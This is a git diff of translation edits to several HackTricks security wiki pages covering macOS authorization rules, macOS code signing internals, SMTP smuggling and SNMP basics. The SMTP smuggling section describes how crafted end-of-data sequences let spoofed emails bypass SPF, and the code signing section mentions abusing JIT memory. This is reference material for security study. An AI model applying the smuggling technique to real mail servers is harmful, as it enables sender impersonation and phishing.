* **name**: Jedinstveno ime pravila koje se koristi za identifikaciju i referenciranje unutar sistema autorizacije.
|
* **name**: Jedinstveno ime pravila koje se koristi za identifikaciju i referenciranje unutar sistema autorizacije.
|
||||||
* **type**: Određuje tip pravila, ograničeno na vrednosti 1 ili 2 za definisanje njegove logike autorizacije.
|
* **type**: Specifikuje tip pravila, ograničeno na vrednosti 1 ili 2 za definisanje njegove logike autorizacije.
|
||||||
* **class**: Kategorizuje pravilo u određenu klasu, osiguravajući da je pozitivni ceo broj.
|
* **class**: Kategorizuje pravilo u određenu klasu, osiguravajući da je pozitivni ceo broj.
|
||||||
* "allow" za dozvolu, "deny" za odbijanje, "user" ako grupna svojstva ukazuju na grupu članstvo koje omogućava pristup, "rule" ukazuje u nizu na pravilo koje treba ispuniti, "evaluate-mechanisms" praćeno nizom `mechanisms` koji su ili ugrađeni ili naziv paketa unutar `/System/Library/CoreServices/SecurityAgentPlugins/` ili /Library/Security//SecurityAgentPlugins
|
* "allow" za dozvolu, "deny" za odbijanje, "user" ako grupna svojstva ukazuju na grupu članstvo koje omogućava pristup, "rule" ukazuje u nizu na pravilo koje treba ispuniti, "evaluate-mechanisms" praćeno nizom `mechanisms` koji su ili ugrađeni ili naziv paketa unutar `/System/Library/CoreServices/SecurityAgentPlugins/` ili /Library/Security//SecurityAgentPlugins
|
||||||
* **group**: Ukazuje na korisničku grupu povezanu sa pravilom za autorizaciju zasnovanu na grupi.
|
* **group**: Ukazuje na korisničku grupu povezanu sa pravilom za autorizaciju zasnovanu na grupi.
|
||||||
|
@ -94,7 +94,7 @@ Pored toga, korišćenjem bezbednosnog alata moguće je testirati mnoge `Securit
|
||||||
|
|
||||||
To će fork-ovati i izvršiti `/usr/libexec/security_authtrampoline /bin/ls` kao root, što će tražiti dozvole u promptu da izvrši ls kao root:
|
To će fork-ovati i izvršiti `/usr/libexec/security_authtrampoline /bin/ls` kao root, što će tražiti dozvole u promptu da izvrši ls kao root:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -6,11 +6,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
Mach-o binarni fajlovi sadrže komandu za učitavanje pod nazivom **`LC_CODE_SIGNATURE`** koja označava **offset** i **veličinu** potpisa unutar binarnog fajla. U stvari, koristeći GUI alat MachOView, moguće je pronaći na kraju binarnog fajla sekciju pod nazivom **Code Signature** sa ovom informacijom:
|
Mach-o binarni fajlovi sadrže komandu za učitavanje pod nazivom **`LC_CODE_SIGNATURE`** koja označava **offset** i **veličinu** potpisa unutar binarnog fajla. U stvari, koristeći GUI alat MachOView, moguće je pronaći na kraju binarnog fajla sekciju pod nazivom **Code Signature** sa ovom informacijom:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Magični header Code Signature je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrže.\
|
Magični header Code Signature je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrže.\
|
||||||
Moguće je pronaći ove informacije u [izvoru ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
Moguće je pronaći ove informacije u [izvoru ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||||
|
@ -51,7 +51,7 @@ char data[];
|
||||||
} CS_GenericBlob
|
} CS_GenericBlob
|
||||||
__attribute__ ((aligned(1)));
|
__attribute__ ((aligned(1)));
|
||||||
```
|
```
|
||||||
Uobičajeni blobovi koji se nalaze su Direktorij koda, Zahtevi i Ovlašćenja i Kriptografska poruka sintaksa (CMS).\
|
Uobičajeni blobovi koji se nalaze su Direktorij koda, Zahtevi i Ovlašćenja i Kriptografska poruka u sintaksi (CMS).\
|
||||||
Pored toga, obratite pažnju na to kako su podaci kodirani u blobovima kodirani u **Big Endian.**
|
Pored toga, obratite pažnju na to kako su podaci kodirani u blobovima kodirani u **Big Endian.**
|
||||||
|
|
||||||
Pored toga, potpisi se mogu odvojiti od binarnih datoteka i čuvati u `/var/db/DetachedSignatures` (koristi se u iOS-u).
|
Pored toga, potpisi se mogu odvojiti od binarnih datoteka i čuvati u `/var/db/DetachedSignatures` (koristi se u iOS-u).
|
||||||
|
@ -118,7 +118,7 @@ Napomena da postoje različite verzije ove strukture gde starije mogu sadržati
|
||||||
|
|
||||||
## Stranice za potpisivanje koda
|
## Stranice za potpisivanje koda
|
||||||
|
|
||||||
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan u memoriju samo delimično. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
|
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan samo delimično u memoriji. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
|
||||||
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice navedena** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
|
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice navedena** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
|
||||||
```bash
|
```bash
|
||||||
# Get all hashes of /bin/ps
|
# Get all hashes of /bin/ps
|
||||||
|
@ -163,12 +163,12 @@ Napomena da aplikacije mogu sadržati **entitlement blob** gde su svi entitlemen
|
||||||
|
|
||||||
MacOS aplikacije nemaju sve što im je potrebno za izvršavanje unutar binarnog fajla, već koriste i **spoljne resurse** (obično unutar aplikacionog **bundle**). Stoga, postoje neki slotovi unutar binarnog fajla koji će sadržati hashove nekih interesantnih spoljašnjih resursa kako bi se proverilo da nisu modifikovani.
|
MacOS aplikacije nemaju sve što im je potrebno za izvršavanje unutar binarnog fajla, već koriste i **spoljne resurse** (obično unutar aplikacionog **bundle**). Stoga, postoje neki slotovi unutar binarnog fajla koji će sadržati hashove nekih interesantnih spoljašnjih resursa kako bi se proverilo da nisu modifikovani.
|
||||||
|
|
||||||
U stvari, moguće je videti u strukturi Code Directory parametar pod nazivom **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći (od -1 do -6) su:
|
U stvari, moguće je videti u Code Directory strukturama parametar nazvan **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći su (od -1 do -6):
|
||||||
|
|
||||||
* Hash `info.plist` (ili onaj unutar `__TEXT.__info__plist`).
|
* Hash `info.plist` (ili onaj unutar `__TEXT.__info__plist`).
|
||||||
* Hash Zahteva
|
* Hash Zahteva
|
||||||
* Hash Resursnog Direktorijuma (hash fajla `_CodeSignature/CodeResources` unutar bundle-a).
|
* Hash Resursnog Direktorijuma (hash fajla `_CodeSignature/CodeResources` unutar bundle-a).
|
||||||
* Specifično za aplikaciju (neiskorišćeno)
|
* Aplikacija specifična (neiskorišćena)
|
||||||
* Hash entitlements
|
* Hash entitlements
|
||||||
* DMG kodni potpisi samo
|
* DMG kodni potpisi samo
|
||||||
* DER Entitlements
|
* DER Entitlements
|
||||||
|
@ -220,7 +220,7 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||||
|
|
||||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||||
```
|
```
|
||||||
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) može takođe dinamički dodati `CS_EXEC_*` zastavice prilikom pokretanja izvršavanja.
|
Napomena da funkcija [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) takođe može dinamički dodati `CS_EXEC_*` zastavice prilikom pokretanja izvršavanja.
|
||||||
|
|
||||||
## Zahtevi za potpisivanje koda
|
## Zahtevi za potpisivanje koda
|
||||||
|
|
||||||
|
@ -279,7 +279,7 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
|
||||||
|
|
||||||
#### **Pristupanje Informacijama o Potpisivanju Koda**
|
#### **Pristupanje Informacijama o Potpisivanju Koda**
|
||||||
|
|
||||||
* **`SecStaticCodeCreateWithPath`**: Inicijalizuje `SecStaticCodeRef` objekat iz putanje u fajl sistemu za inspekciju potpisa koda.
|
* **`SecStaticCodeCreateWithPath`**: Inicijalizuje `SecStaticCodeRef` objekat iz putanje u datotečnom sistemu za inspekciju potpisa koda.
|
||||||
* **`SecCodeCopySigningInformation`**: Dobija informacije o potpisivanju iz `SecCodeRef` ili `SecStaticCodeRef`.
|
* **`SecCodeCopySigningInformation`**: Dobija informacije o potpisivanju iz `SecCodeRef` ili `SecStaticCodeRef`.
|
||||||
|
|
||||||
#### **Modifikovanje Kodnih Zahteva**
|
#### **Modifikovanje Kodnih Zahteva**
|
||||||
|
@ -296,7 +296,7 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
|
||||||
|
|
||||||
* **`SecCodeCopy[Internal/Designated]Requirement`: Dobija SecRequirementRef iz SecCodeRef**
|
* **`SecCodeCopy[Internal/Designated]Requirement`: Dobija SecRequirementRef iz SecCodeRef**
|
||||||
* **`SecCodeCopyGuestWithAttributes`**: Kreira `SecCodeRef` koji predstavlja kod objekat na osnovu specifičnih atributa, korisno za sandboxing.
|
* **`SecCodeCopyGuestWithAttributes`**: Kreira `SecCodeRef` koji predstavlja kod objekat na osnovu specifičnih atributa, korisno za sandboxing.
|
||||||
* **`SecCodeCopyPath`**: Preuzima putanju u fajl sistemu povezanu sa `SecCodeRef`.
|
* **`SecCodeCopyPath`**: Preuzima putanju u datotečnom sistemu povezanu sa `SecCodeRef`.
|
||||||
* **`SecCodeCopySigningIdentifier`**: Dobija identifikator potpisivanja (npr. Team ID) iz `SecCodeRef`.
|
* **`SecCodeCopySigningIdentifier`**: Dobija identifikator potpisivanja (npr. Team ID) iz `SecCodeRef`.
|
||||||
* **`SecCodeGetTypeID`**: Vraća identifikator tipa za `SecCodeRef` objekte.
|
* **`SecCodeGetTypeID`**: Vraća identifikator tipa za `SecCodeRef` objekte.
|
||||||
* **`SecRequirementGetTypeID`**: Dobija CFTypeID `SecRequirementRef`.
|
* **`SecRequirementGetTypeID`**: Dobija CFTypeID `SecRequirementRef`.
|
||||||
|
@ -308,7 +308,7 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
|
||||||
|
|
||||||
## Sprovođenje Potpisa Koda
|
## Sprovođenje Potpisa Koda
|
||||||
|
|
||||||
**Kernel** je taj koji **proverava potpis koda** pre nego što dozvoli izvršavanje koda aplikacije. Štaviše, jedan od načina da se može pisati i izvršavati novi kod u memoriji je zloupotreba JIT ako je `mprotect` pozvan sa `MAP_JIT` zastavicom. Imajte na umu da aplikacija treba posebnu dozvolu da bi mogla to da uradi.
|
**Kernel** je taj koji **proverava potpis koda** pre nego što dozvoli izvršavanje koda aplikacije. Štaviše, jedan od načina da se omogući pisanje i izvršavanje novog koda u memoriji je zloupotreba JIT ako je `mprotect` pozvan sa `MAP_JIT` zastavicom. Imajte na umu da aplikacija treba posebnu dozvolu da bi mogla to da uradi.
|
||||||
|
|
||||||
## `cs_blobs` & `cs_blob`
|
## `cs_blobs` & `cs_blob`
|
||||||
|
|
||||||
|
@ -381,7 +381,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -1,61 +1,61 @@
|
||||||
# SMTP Smuggling
|
# SMTP Smuggling
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Basic Information
|
## Osnovne informacije
|
||||||
|
|
||||||
Ova vrsta ranjivosti je [**prvobitno otkrivena u ovom postu**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) gde je objašnjeno da je moguće **iskoristiti razlike u tome kako se SMTP protokol interpretira** prilikom finalizacije e-pošte, omogućavajući napadaču da prokrijumčari više e-poruka u telu legitimne, omogućavajući mu da se lažno predstavi kao drugi korisnici pogođenog domena (kao što je admin@outlook.com) zaobilazeći odbrane kao što je SPF.
|
Ova vrsta ranjivosti je [**prvobitno otkrivena u ovom postu**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) gde je objašnjeno da je moguće **iskoristiti razlike u tome kako se SMTP protokol interpretira** prilikom finalizacije e-pošte, omogućavajući napadaču da prokrijumčari više e-poruka u telu legitimne, omogućavajući mu da se pretvara da je drugi korisnik pogođenog domena (kao što je admin@outlook.com) zaobilazeći odbrane kao što je SPF.
|
||||||
|
|
||||||
### Why
|
### Zašto
|
||||||
|
|
||||||
To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u receptor. Pogledajte ovaj ilustrovani primer iz originalnog posta:
|
To je zato što u SMTP protokolu, **podaci poruke** koji se šalju u e-pošti kontroliše korisnik (napadač) koji može poslati posebno oblikovane podatke koristeći razlike u parserima koji će prokrijumčariti dodatne e-poruke u receptor. Pogledajte ovaj ilustrovani primer iz originalnog posta:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
### How
|
### Kako
|
||||||
|
|
||||||
Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMPT server misli da je samo 1 e-mail, dok Inbound SMTP server misli da postoji nekoliko e-mailova**.
|
Da bi iskoristio ovu ranjivost, napadač treba da pošalje neke podatke koje **Outbound SMTP server misli da je samo 1 e-poruka, ali Inbound SMTP server misli da ih ima više**.
|
||||||
|
|
||||||
Istraživači su otkrili da različiti **Inboud serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\
|
Istraživači su otkrili da različiti **Inbound serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Outbound serveri ne smatraju.\
|
||||||
Na primer, regularan kraj podataka je `\r\n.\r`. Ali ako Inbound SMTP server takođe podržava `\n.`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici.
|
Na primer, regularan kraj podataka je `\r\n.\r`. Ali ako Inbound SMTP server takođe podržava `\n.`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici.
|
||||||
|
|
||||||
Naravno, ovo može raditi samo ako **Outbound SMTP server ne tretira ove podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-maila umesto samo 1, tako da je na kraju ovo desinkronizacija koja se zloupotrebljava u ovoj ranjivosti.
|
Naravno, ovo može raditi samo ako **Outbound SMTP server ne tretira te podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo desinkronizacija koja se zloupotrebljava u ovoj ranjivosti.
|
||||||
|
|
||||||
Potencijalni podaci za desinkronizaciju:
|
Potencijalni podaci za desinkronizaciju:
|
||||||
|
|
||||||
* `\n.`
|
* `\n.`
|
||||||
* `\n.\r`
|
* `\n.\r`
|
||||||
|
|
||||||
Takođe, imajte na umu da se SPF zaobilazi jer ako prokrijumčarite e-mail od `admin@outlook.com` iz e-maila od `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.**
|
Takođe, imajte na umu da se SPF zaobilazi jer ako prokrijumčarite e-poruku od `admin@outlook.com` iz e-poruke od `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.**
|
||||||
|
|
||||||
## **References**
|
## **Reference**
|
||||||
|
|
||||||
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -29,28 +29,28 @@ PORT STATE SERVICE REASON VERSION
|
||||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
SNMP takođe koristi port **162/UDP** za **trape**. Ovo su podaci **paketi poslati sa SNMP servera klijentu bez eksplicitnog zahteva**.
|
SNMP takođe koristi port **162/UDP** za **trape**. To su podaci **paketi poslati sa SNMP servera klijentu bez eksplicitnog zahteva**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### MIB
|
### MIB
|
||||||
|
|
||||||
Da bi se osiguralo da SNMP pristup funkcioniše među proizvođačima i sa različitim kombinacijama klijent-server, **Management Information Base (MIB)** je stvoren. MIB je **nezavistan format za čuvanje informacija o uređaju**. MIB je **tekstualna** datoteka u kojoj su svi upitni **SNMP objekti** uređaja navedeni u **standardizovanoj** hijerarhiji stabla. Sadrži najmanje jedan `Object Identifier` (`OID`), koji, pored potrebne **jedinstvene adrese** i **imena**, takođe pruža informacije o tipu, pravima pristupa i opisu odgovarajućeg objekta.\
|
Da bi se osiguralo da SNMP pristup funkcioniše među proizvođačima i sa različitim kombinacijama klijent-server, **Management Information Base (MIB)** je stvoren. MIB je **nezavistan format za čuvanje informacija o uređaju**. MIB je **tekstualna** datoteka u kojoj su svi upitni **SNMP objekti** uređaja navedeni u **standardizovanoj** hijerarhiji stabla. Sadrži najmanje jedan `Object Identifier` (`OID`), koji, pored potrebne **jedinstvene adrese** i **imena**, takođe pruža informacije o tipu, pravima pristupa i opisu odgovarajućeg objekta.\
|
||||||
MIB datoteke su napisane u `Abstract Syntax Notation One` (`ASN.1`) baziranom ASCII tekstualnom formatu. **MIB-ovi ne sadrže podatke**, ali objašnjavaju **gde pronaći koje informacije** i kako izgledaju, koje vraća vrednosti za specifični OID, ili koji tip podataka se koristi.
|
MIB datoteke su napisane u `Abstract Syntax Notation One` (`ASN.1`) zasnovanom ASCII tekstualnom formatu. **MIB-ovi ne sadrže podatke**, ali objašnjavaju **gde pronaći koje informacije** i kako izgledaju, koje vraća vrednosti za specifični OID, ili koji tip podataka se koristi.
|
||||||
|
|
||||||
### OIDs
|
### OIDs
|
||||||
|
|
||||||
**Object Identifiers (OIDs)** igraju ključnu ulogu. Ovi jedinstveni identifikatori su dizajnirani za upravljanje objektima unutar **Management Information Base (MIB)**.
|
**Object Identifiers (OIDs)** igraju ključnu ulogu. Ovi jedinstveni identifikatori su dizajnirani za upravljanje objektima unutar **Management Information Base (MIB)**.
|
||||||
|
|
||||||
Najviši nivoi MIB identifikatora objekata, ili OIDs, dodeljeni su raznim organizacijama koje postavljaju standarde. U okviru ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
|
Najviši nivoi MIB identifikatora objekata, ili OIDs, su dodeljeni raznim organizacijama koje postavljaju standarde. Unutar ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
|
||||||
|
|
||||||
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje linije proizvoda**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
|
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje vlastite proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan metod za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
